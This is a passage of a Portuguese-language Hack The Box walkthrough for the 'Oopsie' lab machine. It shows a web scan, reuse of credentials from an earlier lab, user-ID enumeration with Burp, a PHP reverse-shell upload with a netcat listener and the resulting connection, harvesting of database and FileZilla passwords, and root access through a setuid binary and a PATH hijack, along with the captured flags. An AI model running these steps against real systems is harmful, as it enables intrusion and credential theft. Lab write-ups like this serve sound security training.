O diretório "uploads" pode ser interessante, vamos manté-lo em mente.
# nikto -h http://10.10.10.28
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.28
+ Target Hostname: 10.10.10.28
+ Target Port: 80
+ Start Time: 2021-09-21 10:38:43 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-10944: : CGI Directory found
+ OSVDB-10944: /cdn-cgi/login/: CGI Directory found
Nikto encontrou este diretório "/cdn-cgi/login/"
Vamos testar a credencial encontrada no laboratório passado:
user: adminpass: MEGACORP_4dm1n!!
Tenha em mente que, no Hack the Box, muitas vezes podemos aproveitar informações obtidas em outros laboratórios!
Exploração
Conseguimos acesso ao painel administrativo, mas infelizamente, a sessão de Uploads está restrita somente a usuário com permissões mais elevadas:
Ao acessar a página "account" é possível ver na URL que existe o parâmetro id=1
Provavelmente, pode exister outro usuário com privilégios mais elevados que usa outro ID. Podemos usar o Burp Suíte para tentar descobrir este ID.
Basta enviar a requisição para o "Intruder" do Burp.
Na aba "positions", deixe da seguinte forma:
Na aba payloads, vamos gerar uma lista de 1 até 100 e colar.
Na aba options, marque as seguintes opções. Em seguida clique em "start atack":
A request que gerou o maior "Length" foi a de número 30. Podemos ver que o resultado foi diferente na linha 165:
Vou interceptar novamente via Burp o acesso a página de uploads, mas desta vez, antes de "clicar" em forward, vou troca o código de usuário para 86575.
Agora vou usar um shell malicioso escrito em PHP para obter uma shell reversa.
Basta deixar ouvindo a porta 1234 no meu terminal:
# nc -nvlp 1234
listening on [any] 1234 ...
Vou baixar este payload, editar o endereço de IP e porta, então realizar uploads para o site, lembrando sempre de editar minha requisição no Burp para enviar o código de usuário 86575 (superadmin):
Basta acessar o arquivo malicioso via curl para ativa o shell reverso.
curl http://10.10.10.28/uploads/shell.php
# nc -nvlp 1234 1 ⨯
listening on [any] 1234 ...
connect to [10.10.14.76] from (UNKNOWN) [10.10.10.28] 56372
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
17:35:47 up 2:19, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
robert pts/2 10.10.14.216 17:16 18:19 0.06s 0.06s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Ganhamos a shell! Agora estamos aptos a capturar a flag do usuário comum:
$ cd /home
$ ls
robert
$ cd robert
$ ls
user.txt
$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981
Pós Exploração (escalando privilégios)
Dentro da pasta /root, podemos ver uma pasta de configuração chamada .config, que contém arquivo do FileZilla com credenciais armazenadas. Vamos guardá-la, talvez seja útil nos próximos laboratórios.
ftpuser / mc@F1l3ZilL4
Antes de mais nada, vamos melhorar a qualidade da nossa shell, tornando-a interativa, que vai nos permitir rodar comandos de forma mais satisfatória:
$ SHELL=/bin/bash script -q /dev/null
No diretório do site, há um db.php com credenciais válidas.
Vamos "personificar" o usuário Robert e checar a qual grupo de usuários ele pertence. Pois sabemos que o usuário www-data é muito limitado.
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: M3g4C0rpUs3r!
robert@oopsie:/var/www/html/cdn-cgi/login$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
Sabemos agora que ele faz parte do grupo bugtracker. Vejamos quais elementos do So pertencem a este grupo:
robert@oopsie:/var/www/html/cdn-cgi/login$ find / -type f -group bugtracker 2>/dev/null
<login$ find / -type f -group bugtracker 2>/dev/null
/usr/bin/bugtracker
robert@oopsie:/var/www/html/cdn-cgi/login$ ls -la /usr/bin/bugtracker
ls -la /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
Bugtracker é um executável binário e está com o SETUID ativado:
setuid: a flag that allows users to run an executable with the permissions of the executable’s owner or group respectively and to change behavior in directories
Vamos usar o comando "strings" para ler tudo que for possível dentro deste binário.
Agora, ao rodar o binário novamente a partir do diretório temp, estamos na verdade executando o comando "cat" que executa um bash como root:
robert@oopsie:/tmp$ /usr/bin/bugtracker
/usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
# id
id
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)
Agora já podemos acessar o /root e pegar a flag do root. Lembrando que vc não pode usar o comando cat, então use o vim:
# ls
ls
reports root.txt
# vim root.txt
af13b0bee69f8a877c3faf667f7beacf